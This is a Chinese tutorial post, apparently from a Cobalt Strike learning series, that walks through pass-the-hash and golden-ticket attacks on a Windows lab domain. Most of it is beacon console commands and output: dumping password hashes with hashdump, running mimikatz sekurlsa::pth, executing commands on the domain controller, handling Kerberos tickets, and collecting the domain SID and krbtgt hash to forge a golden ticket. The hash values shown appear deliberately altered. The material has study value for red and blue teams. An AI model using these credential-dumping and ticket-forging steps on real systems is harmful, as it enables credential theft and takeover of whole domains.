0x00 前言
继续上一节密码哈希的部分,在上一节中讲到了使用密码生成用户的令牌,从而取得系统的信任,这一节将介绍使用密码的哈希值来取得系统的信任。
0x01 密码哈希
首先使用 hashdump
获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限。
beacon> hashdump
[*] Tasked beacon to dump hashes
[ ] host called home, sent: 82501 bytes
[ ] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Daniel:1000:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
TeamsSix:1002:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
使用 pth
获取信任
beacon> pth TEAMSSIXAdministrator 12cb161bvca930994x00cbc0aczf06d1
[ ] host called home, sent: 23 bytes
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /ntlm:12cb161bvca930994x00cbc0aczf06d1 /run:"%COMSPEC% /c echo ade660d8dce > \.pipe8d3e4c" command
[ ] host called home, sent: 750600 bytes
[ ] host called home, sent: 71 bytes
[ ] Impersonated NT AUTHORITYSYSTEM
[ ] received output:
user : Administrator
domain : TEAMSSIX
program : C:Windowssystem32cmd.exe /c echo ade660d8dce > \.pipe8d3e4c
impers. : no
NTLM : 12cb161bvca930994x00cbc0aczf06d1
| PID 2992
| TID 5028
| LSA Process is now R/W
| LUID 0 ; 14812112 (00000000:00e203d0)
_ msv1_0 - data copy @ 0000000001794E80 : OK !
_ kerberos - data copy @ 000000000044A188
_ aes256_hmac -> null
_ aes128_hmac -> null
_ rc4_hmac_nt OK
_ rc4_hmac_old OK
_ rc4_md4 OK
_ rc4_hmac_nt_exp OK
_ rc4_hmac_old_exp OK
_ *Password replace @ 00000000017DA1E8 (16) -> null
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[ ] host called home, sent: 231 bytes
[ ] received output:
teamssixadministrator
0x02 Kerberos 票据
关于 Kerberos 的介绍可以查看知乎上的一篇文章,比较形象生动,文章地址:https://www.zhihu.com/question/22177404
查看有哪些 Kerberos 票据
代码语言:javascript复制shell klist
除去 kerberos 票据
代码语言:javascript复制kerberos_ticket_purge
加载 kerberos 票据
代码语言:javascript复制kerberos_ticket_use [/path/to/file.ticket]
0x03 黄金票据
黄金票据 Golden Ticket
是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动。
使用 mimikatz 伪造黄金票据需要:
1、目标的用户名及域名
2、域的 SID 值
域的 SID 值即安全标识符 Security Identifiers
,使用 whoami /user
命令可查看,注意不需要 SID 最后的一组数字。
beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[ ] host called home, sent: 43 bytes
[ ] received output:
用户信息
----------------
用户名 SID
============= ============================================
teamssixdaniel S-1-5-21-5311978431-183514165-284342044-1000
因为不需要 SID 最后一组数字,所以这里要使用的 SID 值也就是 S-1-5-21-5311978431-183514165-284342044
3、DC 中 KRBTGT 用户的 NTLM 哈希
DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行。
代码语言:javascript复制beacon> hashdump
[*] Tasked beacon to dump hashes
[ ] host called home, sent: 82501 bytes
[ ] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::
daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Cobalt Strike 在 Access -> Golden Ticket
中可以打开生成黄金票据的界面。
信息填完之后,选择 Build,需要注意 Domain 需要填写成 FQDN Fully Qualified Domain Name 完全合格域名
格式,即类似于 teamssix.com 的格式。
此时可以通过 shell dir \hostC$
检查自己是否有权限,也可以使用 PowerShell 运行 whoami 查看自己是谁。
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[ ] host called home, sent: 203 bytes
[ ] received output:
teamssixadministrator
原文链接:https://www.teamssix.com/year/200419-150630.html 参考链接: https://www.bilibili.com/video/BV16b411i7n5 https://www.varonis.com/blog/kerberos-how-to-stop-golden-tickets/
往期推荐
CS学习笔记 | 17、登录验证的难点
CS学习笔记 | 16、用户枚举三个关键步骤
CS学习笔记 | 15、枚举的命令和方法